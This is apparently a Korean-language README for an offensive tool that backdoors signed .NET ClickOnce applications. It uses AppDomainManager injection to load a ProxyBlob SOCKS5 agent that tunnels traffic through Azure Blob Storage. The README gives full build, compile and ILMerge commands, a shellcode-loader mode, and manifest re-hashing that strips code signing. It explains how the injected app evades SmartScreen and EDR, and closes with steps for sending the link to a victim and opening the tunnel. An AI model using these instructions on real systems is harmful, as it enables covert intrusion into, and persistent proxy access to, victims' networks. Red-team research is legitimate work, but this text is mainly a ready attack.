
서명된 .NET ClickOnce 애플리케이션을 무기화하여 종속성 DLL을 AppDomainManager 인젝션으로 하이재킹하고 ProxyBlob 에이전트의 C# 포트를 로드함으로써 초기 접근을 달성합니다.

서명된 .NET ClickOnce 애플리케이션을 무기화하여 AppDomainManager 주입을 통해 종속 DLL을 가로채고 C#으로 포팅된 ProxyBlob 에이전트를 로드함으로써 초기 접근을 확보합니다. ProxyBlob의 C# 포트를 포함합니다. ProxyBlob은 모든 트래픽을 Azure Blob Storage를 통해 터널링하는 SOCKS5 프록시로, *.blob.core.windows.net이 허용된 환경에 자연스럽게 녹아듭니다.
ClickOnce는 .NET 앱을 위한 Microsoft의 원클릭 배포 기술입니다. 사용자가 .application URL을 클릭하면 Windows가 앱을 다운로드하여 관리자 권한 없이 실행합니다. 공격 과정:
.exe.config를 주입합니다.호스트 .exe는 변경되지 않고 유효하게 서명된 상태로 남습니다. SmartScreen은 알려진 바이너리로 인식합니다. EDR은 신뢰할 수 있는 프로세스가 모듈을 로드하는 것으로 봅니다. 에이전트는 HTTPS를 통해 Azure Blob Storage와만 통신합니다.
├── clickonce_backdoor.py # Main script for backdooring ProxyBlob Agent DLL to ClickOnce App
├── examples/
│ ├── ProxyBlobAgent.cs # ProxyBlob Agent ClickOnce DLL payload (AppDomainManager)
│ ├── ProxyBlobStandalone.cs # Standalone Proxyblob console agent (for testing)
│ ├── ShellcodeLoader.cs # Alternative: shellcode loader payload
│ └── MessageBoxPoC.cs # PoC: message box (validates injection works)
└── README.md
공격자 (Linux/macOS):
빌드 머신 (Windows):
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe에 위치 (자동 감지)nuget.exe를 스크립트 옆에 배치하거나 PATH에 추가 (오직 --proxyblob 모드에만 필요)스크립트는 csc.exe와 nuget.exe를 자동 감지합니다. --proxyblob 모드의 경우, BouncyCastle과 ILMerge가 첫 실행 시 NuGet을 통해 스크립트 옆의 packages/ 디렉터리에 자동 설치되며 (이후 실행에도 유지됩니다).
에이전트 코드는 아키텍처 중립적입니다(P/Invoke, 셸코드 없음). --platform 플래그(csc.exe /platform:에 전달)는 CLR이 이를 로드하는 방식을 제어합니다:
--platform | Runs on x86 Windows | Runs on x64 Windows | When to use |
|---|---|---|---|
x86 (기본값) | 32-bit | 32-bit (WoW64) | 대상 앱이 x86인 경우 |
x64 | ✗ | 64-bit | 대상 앱이 x64인 경우 |
anycpu | 32-bit | 64-bit | 독립 테스트 또는 대상이 AnyCPU인 경우 |
corflags.exe TargetApp.exe로 대상 앱을 확인하여 플랫폼을 결정하세요.
# Create storage account
az storage account create \
--name yourblobaccount \
--resource-group yourgroup \
--sku Premium_LRS \
--kind BlockBlobStorage
# Get keys
az storage account keys list --account-name yourblobaccount --output table
또는 로컬에서 Azurite 사용:
docker run -p 10000:10000 mcr.microsoft.com/azure-storage/azurite
git clone https://github.com/quarkslab/proxyblob && cd proxyblob && make
cat > config.json << 'EOF'
{
"storage_account_name": "yourblobaccount",
"storage_account_key": "YOUR_KEY_HERE"
}
EOF
./proxy -c config.json
프록시 셸에서:
proxyblob » create
[+] Created container: d646856a-5ae9-4328-bcfc-d85e762aa345
[+] Connection string: aHR0cHM6Ly95b3VyYmxvYmFjY291bnQuYmxvYi5jb3JlLndpbmRvd3MubmV0Ly4uLg==

해당 연결 문자열을 저장하세요 — 에이전트에 사용됩니다.
ClickOnce 통합 전에 항상 에이전트가 독립적으로 작동하는지 확인하세요.
Windows 빌드 머신에서:
# Compile
csc.exe /platform:anycpu /out:ProxyBlobStandalone.exe ^
examples\ProxyBlobStandalone.cs ^
/r:packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/r:System.Net.Http.dll /r:netstandard.dll
# ILMerge into single exe (so BouncyCastle is embedded)
packages\ILMerge.3.0.41\tools\net452\ILMerge.exe ^
/out:Agent.exe ^
ProxyBlobStandalone.exe ^
packages\BouncyCastle.Cryptography.2.5.1\lib\netstandard2.0\BouncyCastle.Cryptography.dll ^
/targetplatform:v4
# Run
Agent.exe <connection-string>
프록시로 돌아와서:
proxyblob » list
d646856a │ username@DESKTOP │ active
proxyblob » select d646856a
proxyblob » start
[+] SOCKS5 proxy listening on 127.0.0.1:1080
테스트:
proxychains curl http://ipconfig.io
이것이 작동하면 ClickOnce 통합으로 진행하세요.
정찰 중 대상 ClickOnce 앱을 찾으세요 (.application URL 검색). 다음이 필요합니다:
전체 ClickOnce 배포를 다운로드하세요:
# https://github.com/api0cradle/RedTeamScripts/blob/main/application_downloader.py
python3 application_downloader.py -u https://target-site.com/APPLICATION.application

스크립트는 C# 소스를 자동 컴파일하고, NuGet 종속성을 처리하며 (--proxyblob 모드), BouncyCastle을 DLL로 ILMerge하고, 모든 매니페스트를 패치합니다 — 단일 실행으로 모두 처리합니다:

# ProxyBlob mode — auto-compiles, auto-installs NuGet packages, auto-merges
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--output ./output
# PoC mode — quick validation that injection works
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--poc --output ./output
# Shellcode mode
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--shellcode beacon.bin --output ./output
# x64 target app
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER/ \
--proxyblob "aHR0cHM6Ly95b3VyYmxvYmFjY291bnQ..." \
--platform x64 --output ./output

스크립트는 다음을 처리합니다: 설정이 포함된 C# 소스 생성, csc.exe를 통한 컴파일, BouncyCastle ILMerge (--proxyblob 모드), DLL 교체, AppDomainManager 주입이 포함된 .exe.config 생성, 두 파일을 매니페스트에 추가, 모든 SHA256 해시와 파일 크기 재계산, 코드 서명 제거, 공급업체 publicKeyToken 초기화, 배포 공급자 URL 업데이트.
수동 오버라이드: 미리 컴파일된 DLL을 제공하려면 --payload를 사용할 수 있습니다 (컴파일 건너뜀):
python clickonce_backdoor.py \
--input ./APPLICATION.application \
--url http://YOUR-SERVER \
--payload payload.dll \
--output ./output
⚠️ ILMerge 어셈블리 이름 주의: ILMerge는 입력 파일명이 아닌 출력 파일명에서 내부 어셈블리 이름을 설정합니다.
Foo_merged.dll로 병합한 후 파일 이름을Foo.dll로 변경하면 내부 이름은 여전히Foo_merged입니다 — CLR은 메타데이터를 읽으며 파일명을 읽지 않습니다..exe.config가 일치하지 않으면 AppDomainManager 주입이 오류 없이 조용히 실패합니다. 스크립트는 최종 이름으로 직접 ILMerge하여 이를 올바르게 처리합니다.
# Built-in server with correct MIME types and cache headers
python3 clickonce_backdoor.py serve --port 8000 --dir ./output

또는 다음 MIME 유형이 구성된 웹 서버를 사용하세요:
.application → application/x-ms-application
.manifest → application/x-ms-manifest
.deploy → application/octet-stream
피해자에게 전송: http://YOUR-SERVER/APPLICATION.application
피해자가 설치를 클릭 → 앱이 실행 → SOCKS5 터널이 열립니다.

# On the proxy machine
proxyblob » list
proxyblob » select <container-id>
proxyblob » start